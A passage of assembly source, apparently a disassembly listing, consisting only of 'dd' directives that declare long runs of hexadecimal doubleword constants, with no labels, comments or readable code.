		dd 0C5F1D45Ch, 200A08C2h, 777036F5h, 65404899h,	85DE69ACh
		dd 0C8CBB744h, 6E9CC930h, 565699D2h, 0C773C420h, 6D1DF638h
		dd 0E463FC8Ah, 8829526Fh, 0E88032EAh, 8D213E29h, 50C42C47h
		dd 408CE7Eh, 371C1B27h,	5C8A28CAh, 25935820h, 8B7B226h
		dd 20545254h, 39A08DC0h, 888F22D0h, 8F50EDA8h, 27BC12CEh
		dd 9D10CA95h, 0A720EFD4h, 0C14686F0h, 0E09F8F25h, 0CF654021h
		dd 2EFAFCEBh, 7842A0A5h, 1F2094EDh, 0E937C6ABh,	5C2451A0h
		dd 0CE024D60h, 0B8E31F8Dh, 7C293E2Ch, 0EC0C0EDh, 0AF56CE55h
		dd 20701540h, 4ECE5AC0h, 69238A98h, 0F5B8E722h,	5C88B36h
		dd 5B58B2FBh, 744078h, 47F7DDEDh, 698B7A3Ah, 8572BA00h
		dd 50D8A3D5h, 60BCEC08h, 7A3C189Bh, 0CB3EF870h,	24821EF7h
		dd 20B9630Ah, 8A24F50h,	8373CD43h, 7B0B5FF1h, 856B8301h
		dd 84FF3989h, 60AB211Eh, 1DC6856Ah, 40DEE72Bh, 94BB0FC2h
		dd 0B2C73A60h, 0A306639Dh, 202C1BC5h, 0A51708DCh, 17F90832h
		dd 0E080410Bh, 13571AA3h, 0A0678A20h, 21A45978h, 33514104h
		dd 0EA2094F2h, 0F0CF2B08h, 412FC640h, 91F3E300h, 0B9D069EBh
		dd 0F87179h, 97181C45h,	0F782D4A4h, 212A5300h, 9643D972h
		dd 94C207F2h, 0C161B1CEh, 0D017B977h, 5500979Eh, 4460E61Ch
		dd 0F8E8F87Ch, 0DC770026h, 0F2955372h, 0E02894B6h, 0D52028FBh
		dd 66171469h, 109D2090h, 47E4F0E9h, 632A0452h, 19A5EBCh
		dd 0E7BEDCB8h, 79A25986h, 36F83152h, 7480FA7Ch,	62B544BDh
		dd 45FFF901h, 3709F349h, 0E387887h, 0BDA890C6h,	0E9625C94h
		dd 80D7BC38h, 0B1CDE688h, 1285000Ah, 2C3A2BD9h,	0F700E565h
		dd 0AC303F7Fh, 8FB748h,	0E0A94F92h, 0A72BFA86h,	0AA757674h
		dd 45E8E603h, 1BE7EC14h, 0E8678150h, 2EB827E0h,	41BE4300h
		dd 397A2CABh, 868D3C52h, 0EC89429h, 19818750h, 835E9ABDh
		dd 7CC14F20h, 0E5680185h, 469DB6D7h, 12DA0093h,	0B0107CCh
		dd 0C0B75199h, 1F845F30h, 2D4BE700h, 13EA7719h,	3E813143h
		dd 48546380h, 0E83EC0F0h, 0AB850777h, 67405E8Bh, 3FBCCCF1h
		dd 0F08C8230h, 0CBD8653Fh, 0E2A448C3h, 0DF95D826h, 0C0991FBEh
		dd 3E3F1F33h, 6300A4D2h, 9C260ADCh, 0CA18E6F2h,	0E718CE16h
		dd 8436504Ch, 924701E8h, 0CB41B36Ah, 26A4E013h,	1E3B6800h
		dd 0BE826FD1h, 65FBEE58h, 0BE45312Bh, 53871B80h, 0D450F18Dh
		dd 36DCA94Dh, 60282C1Dh, 0F8C23C44h, 5C0D4954h,	14A01E31h
		dd 990B03F9h, 1C2050D9h, 69571821h, 0BE81510Fh,	0B480CC28h
		dd 68F87332h, 0AE4040BCh, 8899480Fh, 5CC33C08h,	0A89A830Ah
		dd 0BF8825Dh, 0F881489Fh, 816EC1F9h, 3EC4AD81h,	0F88355F0h
		dd 0E97FA734h, 72CFB006h, 60787601h, 711EF93Eh,	0DA00DB8Bh
		dd 0E145CFA0h, 15C3AC1Ah, 802524B6h, 690D297Ch,	0C64F01ACh
		dd 0E003A305h, 19CF644Bh, 0BAD387BEh, 223EACEAh, 267C3750h
		dd 0B20BC239h, 0AACC6440h, 0FEEF5E40h, 0E8E50274h, 734C51B8h
		dd 0E07E5080h, 33E8458Bh, 0F0CB2302h, 867A2136h, 48603210h
		dd 0FC15D497h, 1700C80Bh, 54B43572h, 0E2956A7h,	0C29D43Fh
		dd 0CFCBAD85h, 8A7024h,	0FFEF139h, 0C14429E3h, 2C003E29h
		dd 4099C333h, 2134A718h, 0F1CA2438h, 30F22F0h, 74A4861h
		dd 680027E9h, 0B03A980Eh, 40DF44B4h, 0EE0A33D9h, 884DA034h
		dd 4040AE42h, 48D56B6Ah, 0D8403049h, 70E9481Dh,	47BC6502h
		dd 24489CBAh, 48C02C2Eh, 56844F12h, 0E18EF9F3h,	760996C6h
		dd 20C51005h, 0AC6465B8h, 0F2A8F51Fh, 6A211007h, 47B42029h
		dd 1865FDDBh, 0E071A009h, 0C1F0B8E5h, 68F8B424h, 0D5C6230Ah
		dd 1044780Ch, 0C21E00FDh, 1B29150Bh, 0D142D3Fh,	7CE45C23h
		dd 22BE23Eh, 763CC035h,	0E9C46146h, 88F84C20h, 82463B5h
		dd 4C45583Fh, 519C0C44h, 8BF5021h, 0C408F774h, 0FF3F31C0h
		dd 48737A3h, 0E290E98Eh, 0D478C18Fh, 0CACB0095h, 7480A8CDh
		dd 0AB6220ACh, 53FC5A0Fh, 49F4B469h, 0A0A871F0h, 6C28AAD5h
		dd 18C88479h, 993061E4h, 0CB0E01FAh, 3466EF11h,	0A72C2894h
		dd 7CA8243Ch, 811D8C20h, 14258684h, 50AAF9E0h, 1F76062h
		dd 8B01A1C9h, 5C27FAEFh, 0BD364C24h, 39481826h,	0A854E361h
		dd 0D6E42AAh, 48DBBB0Bh, 0F4C83018h, 0EFE511A5h, 24F01322h
		dd 0FD756405h, 3F618031h, 8C9AD008h, 6674F70Eh,	0F8A4CCC1h
		dd 73411EB1h, 0F1CE4DDh, 4CE1715Ah, 0E0930801h,	0B19B0FCh
		dd 7B88DAABh, 0C6942421h, 0C67ADC61h, 0C0FD14D8h, 0B8C09D03h
		dd 37D2B494h, 0A4784FE8h, 85846784h, 18767131h,	95512139h
		dd 0C2DBBF08h, 0C41944E7h, 0CC437C1Ch, 84813011h, 0E437E0D4h
		dd 0B9F56077h, 0A3538496h, 5C437378h, 28FE7011h, 5E24E0E7h
		dd 18A004F8h, 1D8B4EE8h, 0E05FDA20h, 0EC437C28h, 30D89B29h
		dd 55F5F305h, 404A1848h, 6C4ABAEh, 6CF8EE4Dh, 21EDC0BEh
		dd 72BE990Ch, 2C0F3886h, 59231043h, 61F144C5h, 0CCD989Ch
		dd 101E46ACh, 15C5943Ch, 0D13C200Fh, 47849550h,	0EFD308D7h
		dd 723C4455h, 4C6FC390h, 0C808DC78h, 3642FA39h,	73784376h
		dd 10F4AE38h, 845241E0h, 5C611DB4h, 46910C85h, 743908BBh
		dd 0DB1F4293h, 86576F30h, 103CE453h, 0D1DD5F10h, 0C0973184h
		dd 914A224h, 48309C18h,	218C8434h, 9D94AC48h, 64987C54h
		dd 80647122h, 86924C18h, 86C9953h, 449687F9h, 0AC577307h
		dd 27E28031h, 4BFBC560h, 548C1848h, 42864371h, 18844484h
		dd 702BE843h, 0A9B888D8h, 9901446Eh, 5240C931h,	304ECF6Ch
		dd 3C609F2Ah, 1DF27423h, 609121B4h, 323A3CC4h, 58213851h
		dd 0A85F5786h, 53886708h, 5249E841h, 44803C51h,	105C10E2h
		dd 0E5DC218Ch, 970F0D88h, 25570D93h, 3EFC0011h,	7C20A94Eh
		dd 0A1C3291h, 2C4CF461h, 481E9C22h, 903C44AEh, 66E68978h
		dd 632848D8h, 0CC458FC1h
		dd 0CC4E9822h, 2B303852h, 40889C74h, 775D6493h,	43329E34h
		dd 0A94A7338h, 0D41C483Ch, 0A423EE43h, 8B915888h, 0B482EA71h
		dd 8101E97Ch, 0D8606806h, 44AA16D6h, 0E5E822AEh, 0C3C16320h
		dd 2A2F0510h, 0C0957BCBh, 657333C0h, 0CCB098B2h, 82DCAD5Ch
		dd 615C3A53h, 24583E14h, 83EB3C0Ah, 0CB07CB10h,	98A02CD5h
		dd 18218B71h, 58A715D1h, 27677E10h, 2040B5Bh, 0C1E00F28h
		dd 907254F4h, 0DA4B0B0Bh, 0EC11009Ch, 7317AE1Fh, 0B0304275h
		dd 4B0361FDh, 0C2590337h, 4C6E6F94h, 64827814h,	1DEC8294h
		dd 601162Ch, 0CB441047h, 0B1079637h, 8C69F2A9h,	901E6581h
		dd 0CBE64014h, 6384AB54h, 24B69909h, 602F0921h,	0A04231C8h
		dd 664FC5B0h, 498738DFh, 0EEF5E500h, 0BAF17240h, 0E6EA15D2h
		dd 5B0A9C28h, 92CC9FBDh, 0C770D7F6h, 32AA8595h,	662092A4h
		dd 0A0BF58A9h, 4C0E31FCh, 204BD54Fh, 24AA880Ch,	4AC1D59h
		dd 59CD7465h, 27F81CA4h, 14105E6Eh, 5C44B0A2h, 0D3AD3E34h
		dd 2EBCE163h, 2CE9D163h, 43510853h, 0F48A9C60h,	0B606604Bh
		dd 3798C94h, 73096B49h,	19892BE6h, 0CB10887Bh, 0C0F94196h
		dd 0DF42DB5h, 0C863FBFCh, 80132493h, 5CFF3C10h,	9043554Ah
		dd 14C0FC56h, 8C7E4DE9h, 812C5E24h, 0C7540963h,	6230522Ch
		dd 0E2CAE521h, 7EC5EF10h, 0EC05D496h, 0E0284A8Ah, 0DF221D58h
		dd 8A03001Fh, 7C1B9DACh, 0C06048A1h, 0E2808B0Bh, 0C14429B4h
		dd 0FCAB02C8h, 650551B7h, 55A10C40h, 6725B964h,	82D9A13Ah
		dd 74C81CC1h, 18A4FE8Ch, 6312F4F0h, 0CC076737h,	0B97020A4h
		dd 0F883E1B4h, 0A89569C9h, 0EA9A7801h, 0C1F90053h, 0FA78A042h
		dd 0DF444163h, 81E660E1h, 0F827B558h, 14526EABh, 282C7847h
		dd 0C614AACDh, 18868BC8h, 49CEF70h, 103E393h, 5E71942h
		dd 72225C40h, 3E70A0B9h, 0A810A726h, 550FCF9Fh,	0ECD29262h
		dd 1680D3E8h, 0A47C9C27h, 4192D433h, 50F5D921h,	0BC258869h
		dd 0EA512880h, 9096D71Ah, 0BB5D1905h, 0B311F8D0h, 2D15A34h
		dd 94C65BCh, 0D145444h,	0D4863E9h, 51CE3CB8h, 0A1C67442h
		dd 0FF8030A8h, 0E281AC68h, 4194313Fh, 20287E60h, 0D7012B50h
		dd 0A740278Ah, 4986E5BCh, 0B15C8164h, 0A705213Bh, 1CA4A5EBh
		dd 0C001D8A3h, 0AAFA75B1h, 0F3803449h, 0C6BB4803h, 0E3F8D51Ch
		dd 3119264Dh, 14784AB0h, 96C0246Ah, 0A4E984CBh,	0CC233014h
		dd 0EC029248h, 21969A25h, 3D4473F3h, 0C48E002Ch, 0E57D651h
		dd 9C30A4FEh, 0B7E1C090h, 2A549606h, 15059308h,	589AC4ABh
		dd 697BC0Bh, 16E93304h,	8A3EFBCEh, 27D58450h, 2866C520h
		dd 21C1F818h, 0C9CEAD69h, 10906AE0h, 9098388Dh,	0B669A160h
		dd 98DED64Bh, 596161E2h, 0C46A8E4Dh, 609CC8B3h,	61FD16E1h
		dd 3F344314h, 88CCC5FFh, 4B12F5E8h, 3831B8CCh, 0C1D88183h
		dd 8C6487Ah, 606096A1h,	0A85AA448h, 1D3E0420h, 0DC665026h
		dd 25F8744Eh, 0D4007F1Ah, 896EBD19h, 0B616AC90h, 0E8D1ECB4h
		dd 2C40EECFh, 137730C0h, 0C4A8B970h, 498A8768h,	0AC81CC81h
		dd 8F4352Ah, 0F03C6320h, 0E92E30B6h, 16033169h,	10244BDBh
		dd 54809CC8h, 322BEC18h, 34434A3Eh, 68C11995h, 4074E7C0h
		dd 0CB8A4030h, 10A098F0h, 0DB1319B8h, 3410D98Fh, 0E59C10A4h
		dd 1083A819h, 0A9885176h, 0BC109586h, 48A81EE0h, 0E769BF06h
		dd 194F7811h, 31772EABh, 792094A7h, 0FA520118h,	0E9883EABh
		dd 0A55209Eh, 1018E6C1h, 44513947h, 616C98F2h, 23C82136h
		dd 0A0B880FBh, 0F356BBD5h, 0B8092AEh, 28CEFE26h, 8F0D7420h
		dd 0BA63A040h, 0B4BC6531h, 0EBB8B090h, 75970B63h, 0E80F069Eh
		dd 2542E138h, 286F03Ah,	0BADB418Fh, 24C1C11Ch, 4FD14460h
		dd 4381251h, 803CC7B0h,	56844B0Ch, 89760E30h, 5DB0BEB2h
		dd 9002F498h, 7B18DCDDh, 39E31840h, 0A780C082h,	8D563EECh
		dd 7604953Bh, 8129BEB9h, 51C2C70h, 0F4D0581Ch, 0ECA80D14h
		dd 0B409AF22h, 80860572h, 0DF9FF904h, 58C702F4h, 40E2BB88h
		dd 0E81174FAh, 0F066563h, 0B072D627h, 126B149Eh, 20C8411Ch
		dd 62563424h, 67FB1083h, 0DC342083h, 4841A022h,	0AB80B896h
		dd 90892C39h, 0B49B2A12h, 66565830h, 0AA6F685h,	0FFD9B8D4h
		dd 0C22183C8h, 0A87F9CD6h, 73380449h, 0B60B5775h, 2436344h
		dd 0C1666EE0h, 85FC99CCh, 5A17EAB2h, 0BFB8047Ah, 86B54F59h
		dd 301962AFh, 93991DC0h, 8CECF27h, 0C4618BCEh, 2C3728BCh
		dd 5BC4F064h, 4648388Dh, 0DC2A663Bh, 4FC111FCh,	1090FB7Fh
		dd 10E588B3h, 0BE238F63h, 0D1886610h, 93006811h, 6912712Ah
		dd 351DEE78h, 0F0A8729Ch, 80D4C65Ch, 74EABCBBh,	681309CEh
		dd 30265CDFh, 0F93D3865h, 2200D895h, 592F82Fh, 0C0985C2Ah
		dd 76F082EAh, 341900D8h, 218537Ah, 91C5E824h, 0F9B818A8h
		dd 72E81B66h, 0D94BE516h, 0BD96C881h, 0EDB8C24h, 0FB389E56h
		dd 8585C74Bh, 195C013Fh, 51D1A043h, 61F942ECh, 0D2FF61Ch
		dd 97ED1007h, 0AC020512h, 0AED24EEh, 8E121008h,	21AADC0Ch
		dd 6360157h, 0BE802A94h, 323C6548h, 93AE005Ch, 786D9F68h
		dd 6CC54896h, 24A0ED28h, 12A02B77h, 63E480B0h, 0A5CB6DCh
		dd 2F007CBCh, 2D2B8D0Bh, 1628EF5Ch, 276EE724h, 0F85E8064h
		dd 84A8F272h, 0C003958h, 34A2B05h, 2C1BD712h, 0BBDC4CD8h
		dd 9AB618Fh, 0CC8939EEh, 44894848h, 4E55DB01h, 88811D80h
		dd 822AF428h, 0F8762064h, 3E10E55Ch, 0E078891Bh, 68846C5h
		dd 0DF6A86CDh, 681E11E3h, 1F02269Dh, 0E97710BEh, 9CE28324h
		dd 17949878h, 9153F7D2h, 10EA8A78h, 0FEBFF8E0h,	6011DDE7h
		dd 0C8FCB054h, 0CC226C5Fh, 4CEC701Dh, 2F80503Fh, 9C42A2E7h
		dd 43688006h, 38313DADh, 0CE121F8Bh, 903020E5h,	6EEE0EA4h
		dd 0B85FA55Fh, 0C164EF45h, 0AC903484h, 825F662Ah, 98FA34C2h
		dd 4C25737Dh, 0D85808FCh, 24388AD1h, 0E7370300h, 0C8BFB7C6h
		dd 10C47B1Eh, 8A7EE601h, 8420089Fh, 0D8DE0279h,	0B699CBABh
		dd 0E830AC59h, 9595498Dh, 0DDC04010h, 0C447A48h, 11CFB9ABh
		dd 0B1AC2890h, 0C6810B38h, 2CB2E7B8h, 6A941C20h, 0CB27418Dh
		dd 0A84808CFh, 0B332AC4h, 9C2D280Ah, 0AD7B8C65h, 76A6E807h
		dd 18084D78h, 0E64321E8h, 20AAAB25h, 965C150h, 73442440h
		dd 392D6404h, 0E492DCCBh, 0AC544057h, 1C9895AFh, 3B526095h
		dd 42C0480h, 308BEA76h,	71E33210h, 62661319h, 842DB971h
		dd 44232D00h, 0CD10AA83h, 0F1F34C00h, 0C16D642h, 0C36701F9h
		dd 9C3F77BFh, 9A84E8CEh, 23CC38h, 7918C770h, 0EDD52AAh
		dd 0CD3FD17Ch, 0C9D262C1h, 0E47E70FCh, 6F039CF8h, 0B14925F8h
		dd 5D1100F5h, 0A9B49D14h, 0CC3388FCh, 0C3C818DCh, 7FA7E8F6h
		dd 0E8970081h, 38B6F5FDh, 560015CEh, 0E50BDB1Fh, 0C92D9D7h
		dd 6B5350A9h, 41384050h, 0FCDF004Dh, 0FFCBD260h, 98BAF989h
		dd 15B8FE0Eh, 0C71CA9F8h, 4093DB03h, 7C0A31D9h,	43573D40h
		dd 3F44D80h, 4F7CE25h, 8818A730h, 402405D0h, 4D017D40h
		dd 9D213946h, 0A16F6FCCh, 107401BBh, 43D0E0EDh,	0B6204860h
		dd 0FC8A3F7h, 5AF0FE0Bh, 0A53214E0h, 243015E0h,	5E12D0C1h
		dd 58236611h, 0F51849CEh, 39B15415h, 7E0F1FAFh,	3E78000Eh
		dd 0D6C65F97h, 79003FF2h, 0E0A08816h, 3E9E0967h, 0E38085CEh
		dd 8B9BF62Eh, 28F8BA37h, 443B0AAh, 11101021h, 113AC892h
		dd 867D0098h, 796FC70Bh, 949A50FBh, 0CC8FAA2h, 5B24BBDBh
		dd 91289CA0h, 0C202C8B7h
		dd 464ACB10h, 2ACCA06Fh, 0C01EF353h, 0BC398051h, 11C6BEF0h
		dd 19F1F89Eh, 609DBA5Ah, 3D69BE45h, 9E61E5F3h, 0E0C8B020h
		dd 794407DEh, 21504E5Eh, 48DD4D34h, 13F47A9Ch, 82E6B90Eh
		dd 9938C0C0h, 501157DEh, 0C02DB03Eh, 21F37B99h,	0EB0EADFAh
		dd 6CC42AEh, 1C7059D5h,	0CCBB160h, 0FB11680Ah, 669D20D4h
		dd 42109C21h, 459B205Ah, 0C7B03E72h, 1570C861h,	103D118Ch
		dd 1E40846Dh, 2F6840B2h, 1F7F8803h, 1D5C01CBh, 401E1249h
		dd 0FC8EAC5Fh, 5E5409BBh, 98A65788h, 0AEA4F512h, 65D25447h
		dd 0CE2649C0h, 0C1B9000Bh, 17D05B37h, 1424F5CCh, 7780AC57h
		dd 0D5543978h, 42B82405h, 96D9006Ch, 0F15F1883h, 0FC29D27Ch
		dd 0C9F0C65h, 0A3087642h, 8CB0818Eh, 8570B950h,	3FB0023Bh
		dd 2365DB0Ah, 3B140A3h,	778480DCh, 189ACF08h, 0B05C9C39h
		dd 14F9C183h, 0FBA7A7Fh, 0A30CCC96h, 1008EF89h,	511D3AA8h
		dd 82E70043h, 28D2AA9Ah, 6B45FCA0h, 96D01C50h, 0E81D60C1h
		dd 789D2505h, 6AE58FD7h, 0EB5147A0h, 0DB0F52A1h, 4C0A9D6Bh
		dd 18DC4057h, 0C81428F1h, 0D51FF4ECh, 22EBC49h,	190BBE03h
		dd 0D22AD879h, 90BBE2B4h, 7FEC02E0h, 6F9660C8h,	5936F882h
		dd 0D576C00h, 0D1652843h, 54AD4DE0h, 0B1F4EF03h, 5872C482h
		dd 0E0830378h, 7C755344h, 7A601DC7h, 8FCD4309h,	0F8809229h
		dd 92A0DFECh, 7500D296h, 0CEBD25F1h, 0EDA604h, 0AF714C62h
		dd 89AA1492h, 0E42CE300h, 537F23DDh, 954E266Fh,	0F9DB00D0h
		dd 61C2C3ECh, 871D48C0h, 0F8CE2C11h, 67CF34DCh,	474C8DC8h
		dd 0F5F4C7ACh, 0E4842037h, 0B811A78h, 72F46831h, 0F33C010Ch
		dd 8D826259h, 38E1FE67h, 0BFF890EEh, 0C76E7FC2h, 11A9F822h
		dd 401CF2D7h, 0F47D4730h, 885A6788h, 7E10705Ch,	0F7B87FD5h
		dd 512E17Ch, 60025404h,	4020377Ch, 0A0BBB740h, 3F339DF8h
		dd 0AF8E5B6Ah, 0C6A9131Dh, 43A1380Eh, 874E7869h, 35CBA8B8h
		dd 609D79B2h, 18097009h, 20566E0Bh, 521410DDh, 0F02027E2h
		dd 867DF16Eh, 9099D101h, 0AB432995h, 1F82DC30h,	0C96DC7B8h
		dd 8800807Bh, 0A8492178h, 3ED00800h, 837330CBh,	9EF92CB0h
		dd 628700C9h, 0C38A44ADh, 3CE614Ch, 0F36E7BFDh,	0A66488D8h
		dd 7F47F2Eh, 0EBB29220h, 1D2F8Dh, 6AE539Bh, 730074E0h
		dd 7D720ED7h, 77CDA133h, 0BF509F0Bh, 0DC2B6E00h, 5F0370DEh
		dd 34C60023h, 729F2744h, 9E003A38h, 6B3B8FC1h, 0E074F73Fh
		dd 0C5CF1F34h, 1D45C16h, 0C9DD0293h, 9409DCC1h,	50FEEC00h
		dd 86567370h, 795E3DF5h, 678BE480h, 89239A2Ch, 21610100h
		dd 0F1189D98h, 0B530FBF3h, 0E8840315h, 9B0C48ABh, 3C212800h
		dd 0A82F9E3Eh, 2C7E0081h, 2603124Ah, 9975280Eh,	0A905111Eh
		dd 5154D000h, 1B7C5F8h,	46A9548h, 301728FCh, 0EC7C7F4Dh
		dd 742C8901h, 0BA2F65FFh, 0AD2DCh, 9380D1A3h, 0ECCDD3C9h
		dd 0DD011C98h, 59F146FBh, 5920CB99h, 125A0EDAh,	0B8C58F05h
		dd 2C90C065h, 0EE707A89h, 6D113Eh, 0FE306A81h, 7A1E5CCh
		dd 0A435200Ch, 0BF79C1C4h, 1ABBF8D4h, 9B4128C3h, 0DD129857h
		dd 0F7980046h, 0AEF9AD4Bh, 0F8C00C0Ah, 0BC5D4EB3h, 81C60058h
		dd 0EE5FD573h, 0B01DEFCh, 1E20D203h, 0C8F309EAh, 90C2B9h
		dd 60DC5D8Fh, 68DFBF23h, 1C56982Ch, 9047C580h, 0E1D471h
		dd 0ACAA7277h, 0B89B30C3h, 159DB613h, 4EDBF600h, 1FF459DDh
		dd 3DC445h, 392EC287h, 0FC008929h, 0FF6E9C5Ah, 0D82B9Eh
		dd 0B5CFBB0Eh, 40756C4Ch, 96A57D00h, 0AA1532ADh, 491F0058h
		dd 0AB8A1790h, 0F600271Bh, 0E41C8241h, 72E11BDh, 0FC838CCAh
		dd 28F807Dh, 0CF024CF7h, 0B12B40C4h, 6398C9A5h,	44C16980h
		dd 27C53537h, 0B31F2A00h, 405398B1h, 0AE0E00E7h, 0C89E23F2h
		dd 9524E67Ah, 411F40F8h, 568FBE00h, 18C3E30h, 0FC0F6096h
		dd 805140F5h, 8295D60h,	518EA7Ah, 9425F22Bh, 0DCE00031h
		dd 0D9ABA38Bh, 0C204D105h, 52C0C418h, 7A1D35h, 0BE2CFD21h
		dd 9A8A46B5h, 8D48100h,	0FC17FA52h, 0E7E40195h,	0BABEAC0Fh
		dd 1A55304Ch, 5CFEC400h, 8006AB54h, 892B0273h, 1E8B78EFh
		dd 0E597F883h, 5FF97400h, 47A7CF95h, 67C50008h,	0EF7FD3E7h
		dd 0F8FE60D2h, 651E6605h, 18D04D90h, 16869243h,	24602C9h
		dd 0EA622354h, 0F16B80E0h, 0CC399F2Ch, 689E2A0Ch, 0DEED0h
		dd 4112930h, 658CF8C1h,	760C2400h, 6B855C88h, 0A4C00D9h
		dd 6A1EE6FAh, 0C601BE7Eh, 0F16155E7h, 9A6054C5h, 0EF1D0E3Fh
		dd 0BAE36DC0h, 0B5D0480Bh, 2B013523h, 3E26CD88h, 60F6C1B8h
		dd 7AB0C5Ch, 9429B905h,	46FEE055h, 4D000FD1h, 0CEE690C1h
		dd 0BF6D20h, 1FD8418Ah,	0DCF6CB79h, 0A6AB000h, 77A1464Ah
		dd 38D300B7h, 0CD2B49F3h, 9479D259h, 0D0005EEAh, 0AF01A037h
		dd 0FAED1A8Fh, 0EECB00CFh, 245B058Dh, 0BA004671h, 0C8B9316Eh
		dd 9B65D3h, 118FD152h, 0AAB686A7h, 0DACDFF1Fh, 0BD025640h
		dd 328C4Eh, 0B03A3549h,	5281588Eh, 61D18900h, 83637EF5h
		dd 57CB00E8h, 6E70133Dh, 391F0F2Dh, 1CFF62B7h, 1CD6216Fh
		dd 5E1EEB00h, 42EE76h, 53A93143h, 504D0CBDh, 95D07900h
		dd 83031423h, 0E8390041h, 2491B76Fh, 76004578h,	440AEAE3h
		dd 0D2DEBBh, 0FABD27D5h, 2861F9ECh, 6C0E3314h, 0C08400F7h
		dd 0F4F59E0Bh, 0CAFD0CFFh, 481181BFh, 94F9400h,	84F09D57h
		dd 1B19C024h, 61666CEh,	61D63405h, 6C1E7F71h, 0C08D8E0Fh
		dd 4581DE79h, 0BA9D009Fh, 0E6AADFFCh, 0D300021Ch, 5A1DF362h
		dd 1C04185Ch, 445251h, 0A846ECA0h, 0C300117Ch, 7B39C9DEh
		dd 0AD0268h, 2031BF35h,	72468CFEh, 28AEF300h, 0C145C4A9h
		dd 92D700EDh, 0CE0851Ah, 2C000643h, 268FA04Ch, 0BB745B4h
		dd 0D5626898h, 0F3D99C00h, 0AC0E2ACDh, 0ED212Ch, 3AD82635h
		dd 9FD100C5h, 0CFB8953Fh, 0B03F308h, 61913049h,	0CA80C844h
		dd 0CB715884h, 0E84CC500h, 1A565976h, 75A4611Ch, 0A5EC85C0h
		dd 1E28A169h, 40B25131h, 652F472Ah, 6E00C5EEh, 627DAACFh
		dd 1DB85A0Dh, 42DC4492h, 56C6112Eh, 2B61A490h, 2407649Eh
		dd 12C0648Fh, 0EC333828h, 2CCFFC1Eh, 0A7596h, 0A78FC5F5h
		dd 9076B454h, 0D1429513h, 1F0D8500h, 582723h, 85E7DE96h
		dd 459E1362h, 2A9DA12Eh, 20078C0Eh, 0CC99F87Eh,	0B8F22E57h
		dd 0B93500C6h, 3772ED53h, 0D9BCB507h, 3800E4C4h, 5AAFECh
		dd 0FF51E675h, 3292630Ah, 0BE76FB09h, 0A268804Ch, 0ED35F10h
		dd 66942D88h, 0DDEBEDA0h, 7E000E0Ah, 7A76798Eh,	1E5F4481h
		dd 0F4CA9Eh, 0EE507C9Ch, 0CD0EFE4Fh, 69D08A57h,	0D654035Dh
		dd 0A47AD8DEh, 0F8CC0080h, 51C4E8AAh, 4A00F326h, 8A98026Fh
		dd 0A84325h, 5B70EE80h,	1BBABDC8h, 0F57DD800h, 383448E1h
		dd 0FD521E9Ah, 85D0C1D2h, 24739B56h, 8C01A760h,	705BF6D5h
		dd 0A060805Ch, 80F463BEh, 81D7605Fh, 0BD292368h, 6C5D8010h
		dd 2F731356h, 797F01Eh,	0C0DF3F7Dh, 2ECEC30Ch, 703825F0h
		dd 0AE579600h, 43F816D1h, 1B831CB2h, 5FD08DDDh,	7DC43068h
		dd 0C58981E3h, 22F193BBh, 16A33C40h, 0E0730168h, 6FAF94F6h
		dd 5DE024D5h, 5EC220DFh, 8D65ADCEh, 6C00700Ch, 0FAF6FEFBh
		dd 38CB0070h, 839F7837h, 726D3A2h, 0AB003B09h, 2E278889h
		dd 486E009Bh, 53D2709Fh, 97744BCh, 96B6A303h, 0DC3BCCh
		dd 87A58961h, 1435631Ah, 7C1885EAh, 84DE1EC9h, 79EC41h
		dd 0E00112C2h, 0FF0FD276h
		dd 346AE500h, 0ED132860h, 583D00DCh, 82F8F0Ch, 0B00FDA3h
		dd 85B52722h, 93B7E09h,	68B94AA4h, 442F0022h, 236EE040h
		dd 89C05B78h, 0C9AF972Bh, 0FAC503B3h, 0BE175616h, 0AE05B5B8h
		dd 9DD0991Eh, 0BF00715Fh, 0DF8B7530h, 1DB12EA8h, 5E0E005Dh
		dd 6063A219h, 0DD159800h, 67D7155h, 0A5540056h,	0A61E6B5Ah
		dd 6E03B06Ah, 7F5C2373h, 75903029h, 19CE9206h, 9FC23801h
		dd 7ADA072Dh, 93C430h, 87D32906h, 58954D8Dh, 0B51E6700h
		dd 0B92182B8h, 60CC02DAh, 0FBB79326h, 281022C3h, 54075F81h
		dd 34304565h, 2C9D8097h, 8D006E13h, 0CBC2E8CDh,	591CE3h
		dd 4FEC9E6Fh, 0D9EAA7EBh, 0A1C6E000h, 0D819406Dh, 5C7800CFh
		dd 0E9CB71FCh, 0E4FB72E5h, 5400843Ch, 3BDEDBACh, 6F50D1h
		dd 73E5D81Fh, 43D09489h, 93D5773Bh, 0B0076A6h, 4ECD23CAh
		dd 785F00C5h, 9BDA92ABh, 77000A24h, 35675EA9h, 1C00C70h
		dd 1208015Bh, 70515FF1h, 0E600D4EEh, 91DEAF7Bh,	7EF50AD7h
		dd 3CE10080h, 0DB84A4EAh, 1A00CE93h, 99A823B0h,	0A97286h
		dd 0ED2C545Ah, 0D57CE378h, 5F164300h, 22851B6Bh, 4B6901B6h
		dd 915D3E51h, 468C7013h, 534A11C0h, 701D357h, 95F7DD0h
		dd 683A80E2h, 4300711Fh, 8AABC882h, 3F6598Ch, 49B56514h
		dd 0B77A45h, 0F541E58Bh, 405CC603h, 90476AD1h, 572DADh
		dd 431A719Eh, 0FED72B7Dh, 0F54D991Dh, 0A50014E6h, 0E7788CA9h
		dd 0AC9A0031h, 0E186D17Fh, 0EB1D6B09h, 9693E33Dh, 0BFDB00FAh
		dd 4B510B3h, 0F581E00Fh, 0CEF220DCh, 118BAEDh, 6688AD38h
		dd 603E3B3Ch, 0F0E89240h, 0C86F7900h, 0A7479DAFh, 4AD0F974h
		dd 48497B55h, 6E3D990Bh, 2582037Fh, 5E6105B0h, 38EA41C8h
		dd 0F73CB400h, 0C319AE4Dh, 3FD80710h, 4CFA1369h, 0DB78EC18h
		dd 1D00A4EEh, 0BC14B76Bh, 3A603Eh, 2A9991CCh, 0D93FDA5h
		dd 6A006CECh, 8BB0A39Ah, 502C1Ah, 327C50Eh, 47324D7Ah
		dd 290D9209h, 4304300Bh, 7D270048h, 9954504h, 0FCA0DC4Ch
		dd 6D075371h, 6A462DB7h, 9F21CFF0h, 0A9AC2EB6h,	7C050094h
		dd 8FD61607h, 97343900h, 0CDF2F5CAh, 0C9270065h, 0A0260D10h
		dd 7D005A19h, 0DCD5E224h, 1DE75ED4h, 7CF49CEBh,	81D3BE06h
		dd 0C30F18DEh, 27829170h, 0AF607F60h, 0BA0C0h, 87F1BBB4h
		dd 989FB637h, 80DC1C3Bh, 0F3741096h, 80BAFDh, 2881EB47h
